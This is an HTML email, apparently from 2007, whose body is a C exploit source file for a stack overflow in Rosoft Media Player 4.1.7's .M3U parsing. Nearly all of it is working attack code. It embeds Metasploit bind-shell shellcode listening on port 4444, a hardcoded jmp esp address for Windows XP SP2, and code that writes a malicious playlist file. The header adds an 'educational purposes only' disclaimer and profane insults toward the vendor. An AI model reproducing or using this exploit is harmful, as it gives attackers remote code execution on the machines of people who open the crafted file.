<html>
<head>
<style>
.hmmessage P
{
margin:0px;
padding:0px
}
body.hmmessage
{
FONT-SIZE: 10pt;
FONT-FAMILY:Tahoma
}
</style>
</head>
<body class='hmmessage'>
/* rosoft-player-expl.c: 2007-12-18:<br> *<br> * Copyright (c) 2007 devcode<br> *<br> *<br> * ^^ D E V C O D E ^^<br> *<br> * Rosoft Media Player <= 4.1.7 .M3U Stack Overflow<br> * [0-DAY]<br> *<br> *<br> * Description:<br> * A stack overflow occurs when parsing an .m3u file<br> * which does not contain any delimiters.<br> *<br> * Hotfix/Patch:<br> * None.<br> *<br> * Vulnerable systems:<br> * Rosoft Media Player <= 4.1.7<br> *<br> * Tested on:<br> * Rosoft Media Player 4.1.7<br> * <br> * This is a PoC and was created for educational purposes only. The<br> * author is not held responsible if this PoC does not work or is <br> * used for any other purposes than the one stated above.<br> *<br> * Notes:<br> * Nothing much here, except the player itself is a piece of shit.<br> * The vulnerability was found by Juan Pablo Lopez Yacubian<br> * (jplopezy_at_gmail.com). Come to think of it, the entire suite<br> * of products offered by Rosoft Engineering sucks bawls.<br> *<br> */<br>#include <stdlib.h><br>#include <stdio.h><br><br>/** <br> * Invalid chars: 0x1A 0xA 0xD 0x00<br> * win32_bind - <br> * EXITFUNC=thread LPORT=4444 Size=344 Encoder=PexFnstenvSub <br> * http://metasploit.com <br> */<br>unsigned char uszShellcode[] =<br> "\x90\x90\x90\x90\x90\x90\x90\x90"<br> "\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x60"<br> "\x90\xf0\xf7\x83\xeb\xfc\xe2\xf4\x9c\xfa\x1b\xba\x88\x69\x0f\x08"<br> "\x9f\xf0\x7b\x9b\x44\xb4\x7b\xb2\x5c\x1b\x8c\xf2\x18\x91\x1f\x7c"<br> "\x2f\x88\x7b\xa8\x40\x91\x1b\xbe\xeb\xa4\x7b\xf6\x8e\xa1\x30\x6e"<br> "\xcc\x14\x30\x83\x67\x51\x3a\xfa\x61\x52\x1b\x03\x5b\xc4\xd4\xdf"<br> "\x15\x75\x7b\xa8\x44\x91\x1b\x91\xeb\x9c\xbb\x7c\x3f\x8c\xf1\x1c"<br> "\x63\xbc\x7b\x7e\x0c\xb4\xec\x96\xa3\xa1\x2b\x93\xeb\xd3\xc0\x7c"<br> "\x20\x9c\x7b\x87\x7c\x3d\x7b\xb7\x68\xce\x98\x79\x2e\x9e\x1c\xa7"<br> "\x9f\x46\x96\xa4\x06\xf8\xc3\xc5\x08\xe7\x83\xc5\x3f\xc4\x0f\x27"<br> "\x08\x5b\x1d\x0b\x5b\xc0\x0f\x21\x3f\x19\x15\x91\xe1\x7d\xf8\xf5"<br> "\x35\xfa\xf2\x08\xb0\xf8\x29\xfe\x95\x3d\xa7\x08\xb6\xc3\xa3\xa4"<br> "\x33\xc3\xb3\xa4\x23\xc3\x0f\x27\x06\xf8\xe1\xab\x06\xc3\x79\x16"<br> "\xf5\xf8\x54\xed\x10\x57\xa7\x08\xb6\xfa\xe0\xa6\x35\x6f\x20\x9f"<br> "\xc4\x3d\xde\x1e\x37\x6f\x26\xa4\x35\x6f\x20\x9f\x85\xd9\x76\xbe"<br> "\x37\x6f\x26\xa7\x34\xc4\xa5\x08\xb0\x03\x98\x10\x19\x56\x89\xa0"<br> "\x9f\x46\xa5\x08\xb0\xf6\x9a\x93\x06\xf8\x93\x9a\xe9\x75\x9a\xa7"<br> "\x39\xb9\x3c\x7e\x87\xfa\xb4\x7e\x82\xa1\x30\x04\xca\x6e\xb2\xda"<br> "\x9e\xd2\xdc\x64\xed\xea\xc8\x5c\xcb\x3b\x98\x85\x9e\x23\xe6\x08"<br> "\x15\xd4\x0f\x21\x3b\xc7\xa2\xa6\x31\xc1\x9a\xf6\x31\xc1\xa5\xa6"<br> "\x9f\x40\x98\x5a\xb9\x95\x3e\xa4\x9f\x46\x9a\x08\x9f\xa7\x0f\x27"<br> "\xeb\xc7\x0c\x74\xa4\xf4\x0f\x21\x32\x6f\x20\x9f\x8f\x5e\x10\x97"<br> "\x33\x6f\x26\x08\xb0\x90\xf0\xf7";<br><br>int main( int argc, char **argv ) {<br> FILE *f = NULL;<br> char *p = NULL;<br><br> printf( "\n\tRosoft Media Player <= 4.1.7 .M3U Stack Overflow\n\n" );<br> printf( "\t\tCopyright (c) 2007 devcode\n\n\n" );<br><br> if ( argc < 2 ) {<br> printf( "Usage: %s <file>\n", argv[0] );<br> return -1;<br> }<br> <br> f = fopen( argv[1], "w+" );<br> if ( !f ) {<br> printf( "[-] Unable to create m3u file.\n" );<br> return -1;<br> }<br><br> p = (char *)malloc( 5000 );<br> memset( p, 0x41, 5000 );<br><br> /**<br> * We need a valid address here that contains <br> * a value of 0 and is writable, and of course, <br> * no 0x00s in the address itself. Try 0x1270FE0 <br> * if 0x7FFDFFF0 doesn't work. <br> */ <br> memcpy( p+4096, "\xF0\xFF\xFD\x7F", 4 );<br><br> /**<br> * Windows XP SP2 Pro - jmp esp (0x7C941EED, ntdll.dll)<br> */<br> memcpy( p+4104, "\xED\x1E\x94\x7C", 4 );<br> memcpy( p+4108, uszShellcode, sizeof( uszShellcode ) );<br><br> /**<br> * Cleanup<br> */<br> fputs( p, f );<br> fclose( f );<br> free( p );<br><br> printf( "[*] File generated succesfully!\n" );<br> return 0;<br>}<br><br><br /><hr />Share life as it happens with the new Windows Live. <a href='http://www.windowslive.com/share.html?ocid=TXT_TAGHM_Wave2_sharelife_122007' target='_new'>Share now!</a></body>
</html>